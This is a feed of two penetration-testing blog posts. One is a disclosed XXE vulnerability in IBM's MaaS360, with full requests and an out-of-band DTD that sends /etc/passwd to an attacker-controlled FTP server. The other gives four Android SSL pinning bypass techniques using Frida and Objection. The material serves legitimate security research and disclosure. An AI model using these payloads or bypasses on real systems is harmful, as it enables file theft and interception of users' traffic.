Cody Wass, Author at NetSPI The Proactive Security Solution Sun, 28 Apr 2024 23:18:00 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://www.netspi.com/wp-content/uploads/2024/03/favicon.png Cody Wass, Author at NetSPI 32 32 XXE in IBM's MaaS360 Platform https://www.netspi.com/blog/technical-blog/web-application-pentesting/xxe-in-ibms-maas360-platform/ Tue, 16 Oct 2018 07:00:39 +0000 https://www.netspi.com/xxe-in-ibms-maas360-platform/ I stumbled upon an XXE vulnerability in one of the services used to deliver MaaS360 functionality to IBM clients. Details of the issue and its discovery are the focus of this blog.

The post XXE in IBM's MaaS360 Platform appeared first on NetSPI.

]]>
A couple of months ago I had the opportunity to test an implementation of MaaS360 – IBM’s MDM solution. The test was focused on device controls and the protection of corporate data, all things which the client had configured and none of which will be talked about here. Instead, during the course of the test I stumbled upon an External XML Entity (XXE) vulnerability in one of the services used to deliver MaaS360 functionality to IBM clients. Details of the issue and its discovery are the focus of this blog.

XXE?

First, a lightning fast breakdown of eXtensible Markup Language (XML) and XXE:

XML is a flexible markup language capable of defining instructions for processing itself in a special section called the Document Type Definition (DTD). Within the DTD, ‘XML entities’ can be defined that tell the XML processor to replace certain pieces of text within the document with other values during parsing. As you’ll see below, if you can define a DTD as part of the XML payload that you provide to a service, you can potentially change the way the parser interprets the document.

XXE is a vulnerability in which an XML parser evaluates attacker-defined external XML entities. Traditional (non-external) XML entities are special sequences in an XML document that tell the parser the entire ‘entity’ should be replaced with some other text during document parsing. This can be used to allow characters that would otherwise be interpreted as XML meta-characters to be represented in the document, or to re-use common text in many places while only having to update a single location. Common XML entities supported by all parsers include ‘&gt;’ and ‘&lt;’ – during processing, these entities are replaced with the strings ‘>’ and ‘<‘, respectively. To define a regular, non-external entity, in the DTD you include the following:

<!ENTITY regular_entity "I am replacement text">

Within the XML document, then, if you had the string:

<dataTag>This is an entity: &regular_entity;</dataTag>

That string during processing would be changed to:

<dataTag>This is an entity: I am replacement text</dataTag>

External XML entities behave similarly, but their replacement values aren’t limited to text. With an external XML entity, you can provide a URL that defines an external resource that contains the text you want to be inserted. In this case, ‘external’ refers to the fact that the resource isn’t included within the document itself, and means the parser will have to access a separate resource in order to resolve the entity. To differentiate between a regular entity (whose replacement text is contained within the document) and an external entity (whose text is external to the document), the keywords ‘SYSTEM’ or ‘PUBLIC’ are included as part of the entity definition. To define an external entity in the DTD, you include the following:

<!ENTITY external_entity SYSTEM 'file:///etc/passwd'>

Within the XML document, any instance of the entity will be replaced. For example:

<dataTag>This is the password file: &external_entity;</dataTag>

will be transformed into:

<dataTag>This is the password file: root:x:0:0:root:/root:/bin/bash [...]</dataTag>

As you can see, if you can trick a parser into evaluating arbitrary external XML entities, you can gain access to the local filesystem.

The Issue

With the basics out of the way, let’s take a look at functionality in IBM’s MaaS360 that was vulnerable to this type of issue. API functionality wasn’t an area of focus during this test, however, there were a couple places where configuration information was pulled down from MaaS360 servers – I decided to take a quick peek into these to see if I could trick the mobile client into configuring itself improperly. That lead nowhere, but I did identify a handful of requests that were submitting XML payloads in POST requests.

Every request I looked at was being properly parsed and validated. Inline DTDs I added were being ignored and malformed XML documents were being properly rejected – every request with an XML payload seemed to be subject to the same validation standards. Oh well, it was a longshot.

And then, the last request I looked at had this:

POST /ios-mdm/ios-mdm-action.htm HTTP/1.1
Host: services.m3.maas360.com
Content-Type: application/x-www-form-urlencoded
Connection: close
Accept: */*
User-Agent: [REDACTED]
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Length: 392

RP_REQUEST_TYPE=ACTIONS_RESPONSE_REQUEST&RP_CSN=[REDACTED]&RP_SEC_KEY=[REDACTED]&RP_DATA=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3CActionResults%3E%3CActionResult%20ID%3D%22%22%20type%3D%2213%22%3E%3Cparam%20name%3D%22status%22%3ESuccess%3C%2Fparam%3E%3C%2FActionResult%3E%3C%2FActionResults%3E%0A&RP_BILLING_ID=[REDACTED]&RP_PLATFORM_ID=[REDACTED]&RP_REQUEST_VERSION=[REDACTED]

Hmm. An XML payload, but URL-encoded and passed as the value of a x-www-form-urlencoded parameter. That’s interesting. They probably have to parse this differently than they parse their XML-only payloads. What if I…

POST /ios-mdm/ios-mdm-action.htm HTTP/1.1
Host: services.m3.maas360.com
Content-Type: application/x-www-form-urlencoded
Connection: close
Accept: */*
User-Agent: [REDACTED]
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Length: 468

RP_REQUEST_TYPE=ACTIONS_RESPONSE_REQUEST&RP_CSN=[REDACTED]&RP_SEC_KEY=[REDACTED]&RP_DATA=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3CDOCTYPE+foo+SYSTEM+'https://6mtgnrnugo50ggqjccizibkrui09oy.netspi-collaborator.com'%3E%3CActionResults%3E%3CActionResult%20ID%3D%22%22%20type%3D%2213%22%3E%3Cparam%20name%3D%22status%22%3ESuccess%3C%2Fparam%3E%3C%2FActionResult%3E%3C%2FActionResults%3E%0A&RP_BILLING_ID=[REDACTED]

Note the above URL-encoded external entity that references https://6mtgnrnugo50ggqjccizibkrui09oy.netspi-collaborator.com – this is a Burp Collaborator URL. There was a delay, and then the application responded with a blank ‘HTTP 200’. Looking over at my Collaborator instance showed:

Collab

A DNS query, then an HTTP request to retrieve the resource I had injected! Not only did I have XXE, I also had unrestricted outbound access to help with exfiltration. The outbound access was key, in this case – as mentioned previously, the HTTP response to successful XXE processing was an ‘HTTP 200’ with an empty body, which is worthless for data exfiltration.

To take advantage of the unrestricted outbound access, I injected a DTD that referenced an additional DTD hosted on a server I controlled. This allowed me to define parameter entities that would be evaluated during the parsing of the XML document without requiring me to modify the existing (valid) document structure.

POST /ios-mdm/ios-mdm-action.htm HTTP/1.1
Host: services.m3.maas360.com
Content-Type: application/x-www-form-urlencoded
Connection: close
Accept: */*
User-Agent: MaaS360-MaaS360-iOS/3.50.83
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Length: 452

RP_REQUEST_TYPE=ACTIONS_RESPONSE_REQUEST&RP_CSN=[REDACTED]&RP_SEC_KEY=[REDACTED]&RP_DATA=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE+foo+SYSTEM+'https://192.0.2.1/xxe.dtd'%3E%3CActionResults%3E%3CActionResult%20ID%3D%22%22%20type%3D%2213%22%3E%3Cparam%20name%3D%22status%22%3ESuccess%3C%2Fparam%3E%3C%2FActionResult%3E%3C%2FActionResults%3E%0A&RP_BILLING_ID=[REDACTED]&RP_PLATFORM_ID=3&RP_REQUEST_VERSION=1.0

In the request above, ‘https://192.0.2.1/xxe.dtd’ is a reference to the below DTD, hosted on a server I controlled:

<!ENTITY % all SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % external SYSTEM 'ftp://192.0.2.1:443/%all;'>">%param1;%external;

To go through the parsing step-by-step:

1. POST request (with inline DTD referencing an external DTD) submitted to server
2. Server receives XML payload and starts parsing inline Document Type Definition (DTD)
3. Inline DTD references an external DTD, so the server retrieves the external DTD to continue parsing
4. Parsing the external DTD results in the creation of multiple parameter entities that contain our exfiltration payload and exfiltration endpoint
5. The final parsing of the (internal + external) DTD results in the FTP connection to the exfiltration server, which contains our exfiltrated data as part of the URL
6. As long as we have a ‘fake’ FTP service listening on our FTP server, we should be able to catch the exfiltrated data sent in step #5

The result of using the above to read the file ‘/etc/passwd’ is shown below:

root@pentest:~/# ruby server.rb
New client connected
USER anonymous
PASS Java1.8.0_161@
TYPE I
/root:x:0:0:root:
/root:
/bin
QUIT

You’ll notice that’s the first line of a typical /etc/passwd file, albeit split across multiple lines. Since I was clearly able to exfiltrate data, it was time to stop verifying the issue and notify IBM of the finding.

Conclusion

Some key takeaways from this:

1. XML is a dangerous data format that’s easy to handle incorrectly. If you see it, get excited.
2. If you’re looking into something and you feel like every parameter you test isn’t vulnerable, keep checking – it was the last request I checked that was vulnerable.

Disclosure Timeline

May 11, 2018: Vulnerability discovered, details sent to IBM
May 11, 2018: Response from IBM acknowledging report and containing advisory number for tracking
May 18, 2018: Email and response from IBM regarding status
June 8, 2018: Email regarding status. IBM response indicates issue confirmed and fix almost complete
June 22, 2018: Email regarding status. IBM response indicates issue was patched June 9, 2018
July 18-20, 2018: Email regarding blog release. IBM responds that blog is fine, indicates PSIRT acknowledgment page has been updated
October 2018: Blog published

The post XXE in IBM's MaaS360 Platform appeared first on NetSPI.

]]>
Four Ways to Bypass Android SSL Verification and Certificate Pinning https://www.netspi.com/blog/technical-blog/mobile-application-pentesting/four-ways-bypass-android-ssl-verification-certificate-pinning/ Tue, 09 Jan 2018 07:00:57 +0000 https://www.netspi.com/four-ways-bypass-android-ssl-verification-certificate-pinning/ As pentesters, we’d like to convince the app that our certificate is valid and trusted so we can man-in-the-middle (MITM) it and modify its traffic. In this blog I’ll go through 4 techniques you can use to bypass SSL certificate checks on Android.

The post Four Ways to Bypass Android SSL Verification and Certificate Pinning appeared first on NetSPI.

]]>
Gone are the days when mobile applications stoically ignored all manner of SSL errors and allowed you to intercept and modify their traffic at will. Instead, most modern applications at least check that the certificate presented chains to a valid, trusted certificate authority (CA). As pentesters, we’d like to convince the app that our certificate is valid and trusted so we can man-in-the-middle (MITM) it and modify its traffic. In this blog I’ll go through 4 techniques you can use to bypass SSL certificate checks on Android:

  • Adding a custom CA to the trusted certificate store
  • Overwriting a packaged CA cert with a custom CA cert
  • Using Frida to hook and bypass SSL certificate checks
  • Reversing custom certificate code

These range from fairly simple to quite advanced in execution – this blog will try to cover each one without getting too bogged down in situation-specific details.

SSL MITM – Why?

Why do we need to pay special attention to SSL MITM conditions for mobile applications? In order to view and fuzz a mobile app’s web service calls, we need to use an intercepting proxy such as BurpSuite or ZAP. When intercepting SSL traffic using a proxy, the SSL connection from the client is terminated at the proxy – whatever certificate the proxy sends to identify itself is evaluated by the mobile app as if the proxy were the web service endpoint. By default, the self-signed certificate generated by tools such as Burp won’t have a valid trust chain, and if the certificate can’t be verified as trusted, most mobile apps will terminate the connection instead of connecting over a potentially insecure channel. The techniques below all share the common goal of convincing a mobile application to trust the certificate provided by our intercepting proxy.

Technique 1 – Adding a Custom CA to the User Certificate Store

The simplest way to avoid SSL errors is to have a valid, trusted certificate. This is relatively easy if you can install new, trusted CAs to the device – if the operating system trusts your CA, it will trust a certificate signed by your CA.

Android has two built-in certificate stores that keep track of which CAs are trusted by the operating system – the system store (holding pre-installed CAs) and the user store (holding user-installed CAs). From developer.android.com:

By default, secure connections (using protocols like TLS and HTTPS) from all apps trust the pre-installed system CAs, and apps targeting Android 6.0 (API level 23) and lower also trust the user-added CA store by default. An app can customize its own connections using base-config (for app-wide customization) or domain-config (for per-domain customization).

What does this mean to us? If the application we’re trying to MITM targets Android 6.0 or lower, we can simply add our CA to the user-added CA store. When the application validates the trust chain for our custom certificate, it will find our custom CA in the trust store and our certificate will be trusted. If the application targets Android versions later than 6.0, however, it won’t trust the user-added CA store. To get around this, we can edit the application’s manifest and force it to target Android 6.0. The targeted API level is specified in the ‘platformBuildVersionCode’ attribute of the ‘manifest’ element in the AndroidManifest.xml file.

<manifest xmlns_android="https://schemas.android.com/apk/res/android" package="com.test.app" platformBuildVersionCode="25" platformBuildVersionName="7.1.1">

The above manifest element targets ‘platformBuildVersionCode=25’, we need to change that to 23.

<manifest xmlns_android="https://schemas.android.com/apk/res/android" package="com.test.app" platformBuildVersionCode="23" platformBuildVersionName="6.0">

When the application is repackaged with this updated manifest, it will trust the user-added CA store.

Alternatively, if running on a specific platform version is required, we can define specific trust anchors in the ‘/res/xml/network_security_config.xml’ configuration file of the APK. For example, the following file defines a new trusted CA that needs to be stored at /res/raw/my_ca (from https://developer.android.com/training/articles/security-config.html):

<?xml version="1.0" encoding="utf-8"?> 
<network-security-config> 
<base-config> 
<trust-anchors> 
<certificates src="@raw/my_ca"/> 
</trust-anchors> 
</base-config> 
</network-security-config>

If the application is only validating that the presented certificate is valid, this technique should allow you to establish a successful MITM condition.

Technique 2 – Overwrite Packaged CA Certificate with Custom CA Certificate

What if you successfully install your certificate to the user-added CA store, the application is targeting Android 6.0, and your certificate shows up as valid when you try and browse other SSL-protected resources, but the application still dies with SSL errors? It’s possible that the developers have taken additional steps to restrict the set of CAs trusted by the application. Recall from technique 1 we defined a custom trust anchor and provided a path to a CA certificate – this is intended functionality that may be used by developers to attempt to protect their application from SSL interception.

If a custom certificate chain is being distributed with an application, extracting the APK and overwriting the provided CA with our custom CA should be enough to cause our intercepting certificate to be trusted. Note that in some cases, additional verification of the trust chain may be happening, so this method may yield mixed results.

Img A Cadcb

Opening the APK with a tool such as APK Studio makes the presence of certificates bundled with the deployed application obvious. In the image above, the certificates are located under the ‘assets’ directory. Overwriting the aptly-named ‘UniversalRootCA’ certificate with our custom CA should allow us to trick the application into accepting our certificate.

Technique 3 – Frida Hook

If installing your own CA isn’t enough to successfully proxy SSL traffic, it’s possible that the application is performing some kind of SSL pinning or additional SSL validation. Typically, to bypass this type of validation we need to hook the application’s code and interfere with the validation process itself. This type of interference use to be restricted to rooted/jailbroken phones, but with the help of Frida Gadget, it’s now possible to instrument an Android application and gain access to the full suite of Frida functionality without rooting a device.

If you’ve performed mobile application penetration testing before, you’re likely familiar with the Frida framework. Fully covering Frida’s functionality is outside the scope of this blog, but at a high level it’s a framework that allows you to tamper with an application’s code at runtime. Typically, Frida will run on the operating system as a stand-alone program – but that requires rooting a device. To avoid that, we can inject Frida Gadget into the target APK. Frida Gadget contains most of the functionality of Frida, but encapsulated in a dynamic library that gets loaded by the target app at runtime, allowing you to instrument and modify the target app’s code.

To load Frida Gadget, we need to extract the APK, insert the dynamic library, edit some smali code so our dynamic library is the first thing that gets called at application startup, then re-package the APK and install it. This entire process has been documented in great detail here by John Kozyrakis, and it’s worth going through it manually at least once to get a feel for how everything works together. To save time, however, there’s yet another tool we can use – Objection. Objection automates this entire process, and requires only the target APK to be provided on the command line.

C: >objection patchapk -s test_app.apk
No architecture specified. Determining it using `adb`...
Detected target device architecture as: armeabi-v7a
Github FridaGadget is v10.6.28, local is v10.6.13. Updating...
Downloading armeabi-v7a library to C:.objectionandroidarmeabi-v7alibfrida-gadget.so.xz...
Unpacking C:.objectionandroidarmeabi-v7alibfrida-gadget.so.xz...
Cleaning up downloaded archives...
Using Gadget version: 10.6.28
Unpacking test_app.apk
App already has android.permission.INTERNET
Reading smali from: C:Temptmp8dxqks1u.apktempsmalicom/test/app/TestMainActivity.smali
Injecting loadLibrary call at line: 10
Writing patched smali back to: C:Temptmp8dxqks1u.apktempsmalicom/test/app/TestMainActivity.smali
Creating library path: C:Temptmp8dxqks1u.apktemplibarmeabi-v7a
Copying Frida gadget to libs path...
Rebuilding the APK with the frida-gadget loaded...
Built new APK with injected loadLibrary and frida-gadget
Signing new APK.
jar signed.
Signed the new APK
Performing zipalign
Zipaling completed
Copying final apk from C:UserscwassAppDataLocalTemptmp8dxqks1u.apktemp.aligned.objection.apk to current directory...
Cleaning up temp files...

After this, we should have a file named ‘test_app.objection.apk’ in our working directory – objection, by default, appends ‘.objection’ to the name of the original APK. We can install this APK as we would any other APK – adb install test_app.objection.apk should push it to our connected device. After the objection-altered APK has been installed on our target device, running the app should result in a pause at the application startup screen. At this point, we can connect to a Frida server that should be listening on the device. If you prefer using the Frida utilities:

C:>frida-ps -U
PID  Name
----  ------
6383  Gadget

C:>frida -U gadget
____
/ _ | Frida 10.3.14 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://www.frida.re/docs/home/

[Motorola Moto G (5) Plus::gadget]-> Java.available
true

Alternatively, Objection supports interaction with the listening Frida server by using the ‘explore’ command:

C:>objection explore
___| |_  |_|___ ___| |_|_|___ ___
| . | . | | | -_|  _|  _| | . |   |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2

Runtime Mobile Exploration
by: @leonjza from @sensepost

[tab] for command suggestions
com.test.app on (motorola: 7.0) [usb] # android hooking search classes TrustManager
android.security.net.config.RootTrustManager
android.app.trust.ITrustManager$Stub$Proxy
android.app.trust.ITrustManager
android.security.net.config.NetworkSecurityTrustManager
android.security.net.config.RootTrustManagerFactorySpi
android.app.trust.TrustManager
android.app.trust.ITrustManager$Stub
com.android.org.conscrypt.TrustManagerImpl
com.android.org.conscrypt.TrustManagerImpl$ExtendedKeyUsagePKIXCertPathChecker
com.android.org.conscrypt.TrustManagerImpl$TrustAnchorComparator
com.android.org.conscrypt.TrustManagerFactoryImpl
javax.net.ssl.TrustManagerFactory$1
javax.net.ssl.TrustManager
javax.net.ssl.TrustManagerFactory
javax.net.ssl.X509TrustManager
javax.net.ssl.TrustManagerFactorySpi
javax.net.ssl.X509ExtendedTrustManager
[Ljavax.net.ssl.TrustManager;

At this point, you should be able to benefit from the built-in SSL pinning bypass functions:

com.test.app on (motorola: 7.0) [usb] # android sslpinning disable
Job: 2f633f86-f252-4a57-958e-6b46ac8d69d1 - Starting
[6b46ac8d69d1] [android-ssl-pinning-bypass] Custom, Empty TrustManager ready
Job: 2f633f86-f252-4a57-958e-6b46ac8d69d1 – Started

Technique 4 – Reversing Custom Certificate Validation Code

Lastly, it’s possible that a developer would choose to provide their own SSL libraries instead of relying on the system libraries to handle the SSL certificate validation. If this is the case, we’ll likely want to extract the APK and convert the smali back to Java so we can look for the code responsible for handling the certificate validation.

Using ‘dex2jar’, the syntax is as follows:

C:>d2j-dex2jar.bat "C:test_app.apk"
dex2jar C:test_app.apk -> .test_app-dex2jar.jar

The resulting .jar file should be openable in your favorite Java reversing tool (such as JD-GUI).

Once you identify the code responsible for certificate validation, you can choose to either patch it out completely or hook the desired function using Frida. To avoid re-building the entire application, it’s typically more efficient to hook the functions responsible for the certificate validation. Using the steps from technique #3 will allow you to instrument the application – from there, you should be able to hook a function using either the Frida command-line tools or the Objection interface, whichever you’re more comfortable with.

Conclusion

The techniques mentioned above should allow you to intercept Android SSL traffic and bypass some of the more common defenses employed by developers. In addition, this blog provided a brief introduction to Objection and Frida – the ability to bypass SSL pinning and other defenses only scratches the surface of the staggering amount of functionality provided by these tools. I hope this blog was an accessible introduction to various techniques that can be used during Android mobile application security testing, and illustrated the importance of having multiple ways to bypass a given security control.

The post Four Ways to Bypass Android SSL Verification and Certificate Pinning appeared first on NetSPI.

]]>